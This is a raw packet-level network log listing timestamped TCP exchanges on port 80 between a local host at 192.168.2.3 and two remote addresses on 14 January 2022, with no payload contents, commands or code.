Jan 14, 2022 01:51:47.858242989 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.858253956 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.858278036 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.858287096 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.858321905 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.893784046 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.893816948 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.893836021 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.893872976 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.893887997 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.893896103 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.893918991 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.893928051 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.893939018 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.893961906 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.893974066 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.893981934 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.894004107 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.894013882 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.894026995 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.894047976 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.894061089 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.894120932 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.894143105 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.894162893 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.894179106 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.894184113 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.894196033 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.894207001 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.894218922 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.894228935 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.894251108 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.894272089 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.894279003 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.894290924 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.894313097 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.894323111 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.894332886 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.894354105 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.894364119 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.894402981 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.894434929 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.894458055 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.894478083 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.894496918 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.894531012 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.894551992 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.894577026 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.894598961 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.894618988 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.894639015 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.894654989 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.894686937 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.894701004 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.894710064 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.894731998 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.894751072 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.894782066 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.894798994 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.894812107 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.894834042 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.894854069 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.894891024 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.894892931 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.894943953 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.894964933 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.894984961 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.894998074 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.895004988 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.895018101 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.895050049 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.895081043 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.895102024 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.895123005 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.895143032 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.895154953 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.895163059 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.895198107 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.895199060 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.895221949 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.895256042 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.895270109 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.895299911 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.895318031 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.895338058 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.895359039 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.895379066 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.895390034 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.895433903 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.907979965 CET	49866	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:47.932794094 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.932832003 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.932854891 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.932878017 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.932898045 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.932904005 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.932919979 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.932926893 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.932943106 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.932965040 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.932974100 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.932991982 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.933013916 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.933028936 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.933034897 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.933057070 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.933079004 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.933084965 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.933100939 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.933101892 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.933124065 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.933146000 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.933151960 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.933166027 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.933168888 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.933180094 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.933188915 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.933208942 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.933243036 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.933262110 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.933275938 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.933283091 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.933296919 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.933307886 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.933331966 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.933350086 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.933351040 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.933371067 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.933373928 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.933394909 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.933414936 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.933434963 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.933444023 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.933455944 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.933461905 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.933476925 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.933497906 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.933510065 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.933518887 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.933538914 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.933546066 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.933558941 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.933581114 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.933597088 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.933602095 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.933623075 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.933636904 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.933644056 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.933665037 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.933665037 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.933686972 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.933706045 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.933725119 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.933736086 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.933744907 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.933773041 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.933784962 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.958199978 CET	80	49866	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:47.958312988 CET	49866	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:47.966283083 CET	49866	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:47.966372967 CET	49866	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:47.968569040 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.968604088 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.968688011 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.968688965 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.968712091 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.968767881 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.968790054 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.968831062 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.968851089 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.968871117 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.968892097 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.968894958 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.968916893 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.968933105 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.968940020 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.968965054 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.968965054 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.968986034 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.969006062 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.969037056 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.969048023 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.969054937 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.969073057 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.969091892 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.969113111 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.969126940 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.969130039 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.969151020 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.969155073 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.969171047 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.969189882 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.969201088 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.969212055 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.969232082 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.969248056 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.969252110 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.969274998 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.969285011 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.969296932 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.969316959 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.969331026 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.969336033 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.969357967 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.969360113 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.969377995 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.969398975 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.969412088 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.969422102 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.969441891 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.969446898 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.969470024 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.969491005 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.969500065 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.969512939 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.969547987 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.969563007 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.969587088 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.969605923 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.969626904 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.969646931 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.969645977 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.969665051 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.969670057 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.969683886 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.969693899 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.969717979 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.969736099 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.969748974 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.969757080 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.969778061 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.969786882 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.969801903 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.969822884 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.969835043 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.969842911 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.969877005 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.969886065 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.969909906 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.969933033 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.969947100 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.969954967 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.969976902 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.969996929 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.970005989 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.970020056 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.970025063 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.970068932 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.008533955 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.008569956 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.008591890 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.008610964 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.008630991 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.008639097 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.008656025 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.008680105 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.008681059 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.008702040 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.008702993 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.008724928 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.008748055 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.008769989 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.008783102 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.008790970 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.008812904 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.008826971 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.008836031 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.008842945 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.008860111 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.008881092 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.008898020 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.008903980 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.008922100 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.008925915 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.008949995 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.008972883 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.008977890 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.008994102 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.009013891 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.009032965 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.009047031 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.009052992 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.009078979 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.009079933 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.009094000 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.009099007 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.009119987 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.009140968 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.009155035 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.009160995 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.009182930 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.009192944 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.009203911 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.009224892 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.009247065 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.009258986 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.009265900 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.009279013 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.009289026 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.009310007 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.009311914 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.009332895 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.009352922 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.009367943 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.009372950 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.009394884 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.009397030 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.009416103 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.009435892 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.009454966 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.009463072 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.009476900 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.009484053 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.009496927 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.009535074 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.009557962 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.009623051 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.017081976 CET	80	49866	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.043634892 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.043670893 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.043705940 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.043725014 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.043745041 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.043765068 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.043802023 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.043848991 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.043858051 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.044245005 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.044341087 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.044405937 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.044703007 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.044725895 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.044770956 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.044785976 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.044792891 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.044842005 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.044847012 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.044863939 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.044886112 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.044905901 CET	80	49863	141.8.194.74	192.168.2.3
